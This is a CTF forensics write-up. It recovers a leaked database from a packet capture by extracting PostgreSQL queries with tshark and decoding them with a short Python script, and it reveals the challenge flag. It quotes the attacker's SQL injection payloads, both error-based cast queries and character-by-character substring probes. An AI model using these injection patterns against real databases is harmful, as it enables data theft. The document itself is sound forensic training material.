SharkyCTF 2020 - [Forensic] Pain In The Ass (200pts)

Written by Maltemo, member of team SinHack.

• SharkyCTF 2020 - [Forensic] Pain In The Ass (200pts)
  • Statement of the challenge
    • Description
  • TL;DR
  • Analyze
  • Flag

Statement of the challenge

Description

It looks like someone dumped our database. Please help us know what has been leaked …

Creator: 2phi

File given : pain-in-the-ass.pcapng

TL;DR

After finding the PostGreSQL request in the wireshark file, we had to extract the queries and get the flag from an Error Based SQLI.

Analyze

After a little time of analysis of the PCAP data, I’ve found some hints in one of the requests.

USER-ALPHA....th3_fl4g_1s_n0t_h3r3D...+......USER-BETA....h3r3_1s_n0t_th3_fl4gD.../.....
USER-GAMMA....l00k1ng_f0r_34sy_p01ntsD.........
USER-DELTA....3rr0r_b4s3d_1s_s0_34syC...

From this hint, we can understand that the attack used was an error based SQLI.

En error based SQLI will guess letter by letter of the chosen element, and switch every time it finds the correct letter.

Now, lets extract the queries from the PCAP file with tshark :

tshark -r pain-in-the-ass.pcapng -Y pgsql -Tfields -e pgsql.query | grep SELECT > queries

I’m passing the PCAP file with the -r option, the packet filter with the -Y option and finally a specific field with the -e option.

With the grep, i’m keeping only the lines where there are requests.

Here is an extract of the output file :

SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' and 1=cast((SELECT table_name FROM information_schema.tables WHERE table_catalog=current_database() LIMIT 1 OFFSET 0) as int) and '1'='1';
[...]
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' and 1=cast((SELECT username FROM users LIMIT 1 OFFSET 4) as int) and '1'='1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'a' and '1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'b' and '1';
SELECT * FROM users WHERE username = 'd4rk2phi' AND password ='' or substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'c' and '1';

Only the last requests in the example seems interesting because we can get informations like letters from those queries.

I removed the other queries in the file and started to write a script to extract the data from those requests.

This script is going through each query and checks if the query is testing a new letter index.

In this example, the changes from the index 1 to 2 when it finds out that the right letter was ‘k’.

[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'j' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),1,1) = 'k' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = 'a' and '1';
[...]substr((SELECT dev_username FROM developpers LIMIT 1 OFFSET 0),2,1) = 'b' and '1';

In this script, i’m extracting all the values and keeping it in a dictionnary :

#!/usr/bin/env python
# coding=utf-8

f = open("queries","r")
logs = []
dictionary = {}
old = 0 

for query in f:
    letter = query.split("'")[5]
    key = query.split(" ")[13]
    if old != query.split(",")[1]:
        old = query.split(",")[1]
        if key in dictionary:
            dictionary[key] += previous_letter
        else:
            dictionary[key] = ""

    previous_letter = query.split("'")[5]

print dictionary

./error_based_sqli.py 
{'dev_username': 'k3vin"', 'dev_password': 'shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}'}

Flag

The flag is shkCTF{4lm0st_h1dd3n_3xtr4ct10n_0e18e336adc8236a0452cd570f74542}

This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.